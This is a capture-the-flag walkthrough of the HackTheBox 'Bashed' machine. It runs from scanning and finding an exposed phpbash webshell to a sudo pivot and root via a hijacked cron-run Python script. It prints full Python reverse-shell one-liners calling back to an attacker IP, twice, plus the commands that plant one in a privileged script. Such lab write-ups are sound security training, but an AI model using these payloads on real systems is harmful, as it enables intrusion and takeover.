> For the complete documentation index, see [llms.txt](https://viperone.gitbook.io/pentest-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://viperone.gitbook.io/pentest-everything/writeups/hackthebox/linux/bashed.md).

# Bashed

## Nmap

```
sudo nmap 10.10.10.68 -p- -sS -sV   

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

Over on port 80 the root page directs us to Arrexel's development site which appears to be a blog. The first post mentions a webshell called phpbash.

![](/files/-M_CDPIQwr8rsN2Zsr-Y)

Following the page we see some further information regarding phpbash with a GitHub link.

![http://10.10.10.68/single.html#](/files/-M_CDcxIfi7mTxBrogCf)

Running dirsearch.py against the web server with the big.txt wordlists from Seclist. we find the `/dev/` directory.

```
sudo python3 dirsearch.py -u http://10.10.10.68 -w /usr/share/seclists/Discovery/Web-Content/big.txt --full-url -t 75
```

![](/files/-M_CEDhm2XxNLUU7DVXX)

Browsing to the directory we see an index page containing the phpbash.php shell mentioned earlier.

![http://10.10.10.68/dev/](/files/-M_CEUKz9__XYo5eMVKe)

Clicking on the phpbash.php takes us to the webshell.

![](/files/-M_CEikk9sRfdcsVk-zC)

Next, ideally we will get a proper reverse shell. I checked if python was installed with `which python` command and this was confirmed as being installed.

![](/files/-M_CFxHQ72JAa-WtNNf2)

I then set a `netcat` listener on my attacking machine and then executed the command below into the webshell.

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.29",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
```

![](/files/-M_CG654AK_pJPRZiPld)

From here checking `sudo -l` for `sudo` permissions shows that we can run all commands as the user 'scriptmanager' without providing a password.

![](/files/-M_CHGTJbJ_nF4Wy9oQG)

As such running the command below will spawn us a bash shell as the user scriptmanager.

```
sudo -u scriptmanager /bin/bash
```

![](/files/-M_CHWaeZcw32r5g0kK8)

From here I noticed the non default 'scripts' folder in '/'.

![](/files/-M_CJcmikgc3OINmDnjh)

Which contains two files; test.py and test.txt

![](/files/-M_CJjSFsOW4CQBIOplz)

When viewing the contents it looks like when test.py is executed it created a test.txt file and writes the contents 'testing 123!' to the file

![](/files/-M_CJrU8QCTB3rURS2wK)

Providing this is executed with elevated privileges we insert a python reverse shell into test.py as we are the owner of the file. I uploaded pspy64 to the target system to check if these are being executed by a cronjob.

After uploading the binary and setting the correct executable permissions I executed pspy64 and was presented with the following:

![](/files/-M_CKb5G7FNt5voaVlnb)

We see that a process is being executed on a regular interval that is executed any file ending in .py. Because we are the owner of test.py I will simply echo out the contents and replace with a python reverse shell.

```
echo  > test.py
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.29",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' > test.py
```

I then set a listener to port 53 on my attacking machine and soon after caught a root shell.

![](/files/-M_CLnhasC1AVc2N79QD)